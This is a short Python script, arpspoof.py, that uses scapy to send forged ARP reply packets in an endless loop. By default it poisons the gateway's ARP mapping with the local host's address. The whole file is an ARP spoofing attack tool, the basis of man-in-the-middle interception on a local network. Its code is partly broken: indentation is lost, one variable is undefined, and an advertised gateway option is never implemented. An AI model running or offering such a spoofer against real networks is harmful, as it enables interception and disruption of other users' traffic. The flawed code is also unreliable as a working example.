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arpspoof.py
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arpspoof.py
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#!/usr/local/bin/env python
import sys
from scapy.all import *
#jast for the parameters
from optparse import OptionParser
#jast for the network data
import socket
import os
def show_usage():
print(''' arpspoofer usage: ArpSpoofer.py [-h] [-i IFACE] [-s SRC] [-d DELAY] [-gw]
-t TARGET
Spoof ARP tables
optional arguments:
-h, --help
show this help message and exit
-i IFACE, --iface IFACE
Interface you wish to use
-s SRC, --src SRC
The address you want for the attacker
-d DELAY, --delay DELAY
Delay (in seconds) between messages
-gw
should GW be attacked as well
-t TARGET, --target TARGET
IP of target ''')
sys.exit()
if __name__=='__main__':
if len(sys.argv)<2:
show_usage()
#get parameter
#global
interface="eth0"
delay=0
getWay=os.popen("ip route|grep 'default'|awk '{print $3}'").read() #this hose default gateway
opt=OptionParser(add_help_option=False,epilog="Arpspoofer!")
opt.add_option("-h","--help",dest="help",action='store_true',help="help you")
opt.add_option("-i","--interface",dest="interface",help="chose interface")
opt.add_option("-s","--sorce",dest="sorce",help="Attaker sorce ip add")
opt.add_option("-t","--target",dest="target",help="ip of target. default= default gateway")
opt.add_option("-d","--delay",dest="delay",help="delay betwin Arp-packets sending")
op, args=opt.parse_args()
if op.help:
show_usage()
if op.interface is not None:
interface=op.interface
if op.sorce is not None:
Sorce=op.sorce
else:
Sorce=socket.gethostbyname(socket.gethostname()) #this host IP address
if op.target is not None:
Target=target
else:
Target=getWay
if op.delay is not None:
delay=op.delay
#bild & send packet
packet=ARP(op=2,pdst=Target,psrc=Sorce)
while True:
send(packet)
time.sleep(float(delay))
########################